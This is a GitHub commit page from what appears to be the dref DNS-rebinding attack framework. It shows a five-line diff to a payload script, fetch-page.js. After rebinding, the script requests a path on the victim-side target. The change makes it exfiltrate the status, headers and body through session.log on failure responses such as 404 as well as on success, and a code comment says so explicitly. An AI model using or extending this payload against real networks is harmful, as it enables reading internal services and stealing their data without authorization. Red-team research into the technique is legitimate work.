Skip to content

Commit 5cad8fc

Browse files
author
alxk
authored
Merge pull request #29 from mwrlabs/exfil-on-404
make fetch-page exfiltrate on 404
2 parents fb555c0 + 74095bf commit 5cad8fc

File tree

1 file changed

+5
-0
lines changed

1 file changed

+5
-0
lines changed

dref/scripts/src/payloads/fetch-page.js

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,11 @@ async function mainFrame () {
1717
function rebindFrame () {
1818
session.triggerRebind().then(() => {
1919
network.get(session.baseURL + window.args.path, (code, headers, body) => {
20+
// success callback
21+
session.log({code: code, headers: headers, body: body})
22+
}, (code, headers, body) => {
23+
// fail callback
24+
// (we still want to exfiltrate the response even if it's i.e. a 404)
2025
session.log({code: code, headers: headers, body: body})
2126
})
2227
})

0 commit comments

Comments
 (0)